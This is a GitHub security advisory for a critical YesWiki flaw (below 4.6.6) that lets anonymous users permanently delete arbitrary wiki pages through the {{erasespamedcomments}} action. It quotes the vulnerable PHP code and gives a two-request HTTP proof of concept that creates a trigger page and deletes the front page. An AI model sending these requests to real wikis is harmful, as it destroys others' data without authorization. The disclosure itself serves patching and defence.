Skip to content

YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action

Critical severity GitHub Reviewed Published Jun 2, 2026 in YesWiki/yeswiki • Updated Jul 9, 2026

Package

composer yeswiki/yeswiki (Composer)

Affected versions

< 4.6.6

Patched versions

4.6.6

Description

Summary

The {{erasespamedcomments}} wiki action (actions/EraseSpamedCommentsAction.php) accepts a suppr[] array from POST and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (default_write_acl='*') on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.

The action's delete() callee is PageManager::deleteOrphaned(), which despite its name does not check whether the target page is orphaned: it issues an unconditional DELETE against pages, links, acls, triples, referrers, and tags tables.

Details

Three issues compose the vulnerability.

  1. actions/EraseSpamedCommentsAction.php performs no authorization check before processing $_POST['clean'] / $_POST['suppr'][] in actions/EraseSpamedCommentsAction.php:

    public function run()
    {
        $wiki = &$this->wiki;
        ob_start();
        // ...
        elseif (isset($_POST['clean'])) {              
            $deletedPages = '';
            if (!empty($_POST['suppr'])) {            
                foreach ($_POST['suppr'] as $page) {
                    echo 'Effacement de : ' . $page . "<br />\n";
                    if ($wiki->services->get(PageController::class)->delete($page)) {  
                        $deletedPages .= $page . ', ';
                    }
                }
            }
            
        }
    }

    No UserIsAdmin(), no UserIsOwner(), no HasAccess('write', $page) per-target check, no CSRF token check.

  2. The default action ACL grants access to everyone in includes/YesWiki.php:

    $acl = empty($this->config['permissions'][$moduleType][$module])
        ? '*'
        : $this->config['permissions'][$moduleType][$module];
    if ($acl === null) { return true; }
    return $this->CheckACL($acl, $user);

    No shipped permissions map gates erasespamedcomments to admins, so Performer::CheckModuleACL('erasespamedcomments', 'action') returns true for anonymous users.

  3. PageController::delete() and PageManager::deleteOrphaned() perform no authorization check and do not validate that the page is actually orphaned in includes/controllers/PageController.php:38–48:

    public function delete(string $tag): bool
    {
        if ($this->entryManager->isEntry($tag)) {
            return $this->entryController->delete($tag);
        } else {
            $this->pageManager->deleteOrphaned($tag);
            $this->wiki->LogAdministrativeAction(
                $this->authController->getLoggedUserName(),
                'Suppression de la page ->""' . $tag . '""'
            );
            return true;
        }
    }

in includes/services/PageManager.php:289–310:

public function deleteOrphaned($tag)
{
    if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); }
    unset($this->ownersCache[$tag]);
    if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); }
    $this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'");
    $this->dbService->query("DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' ");
    $this->dbService->query("DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' ");
    // ...further unconditional DELETEs across triples, referrers, tags
}

The companion isOrphaned() method (line 284) exists but is never called from deleteOrphaned(). The function name is misleading as it deletes any page, not just orphans.

PoC

Default fresh install where default_write_acl='*' (per includes/YesWikiInit.php:219), anonymous browsing.

  1. create a trigger page (anonymous)
POST /?wiki=SpamCleanup/edit HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

body=%7B%7Berasespamedcomments%7D%7D&submit=1

This succeeds because the new page passes aclService->hasAccess('write', 'SpamCleanup') against default_write_acl='*'.

  1. trigger arbitrary page deletion (anonymous)
POST /?wiki=SpamCleanup HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage

Server response includes Effacement de : PagePrincipale and Effacement de : AnotherTargetPage. pages, links, acls, triples, referrers, and tags rows for those tags are deleted from the database.

Impact

Arbitrary page deletion, including the front page (PagePrincipale).

References

@mrflos mrflos published to YesWiki/yeswiki Jun 2, 2026
Published to the GitHub Advisory Database Jul 9, 2026
Reviewed Jul 9, 2026
Last updated Jul 9, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(17th percentile)

Weaknesses

Incorrect Default Permissions

During installation, installed file permissions are set to allow anyone to modify those files. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-52766

GHSA ID

GHSA-6x7x-gcmf-7r8x

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.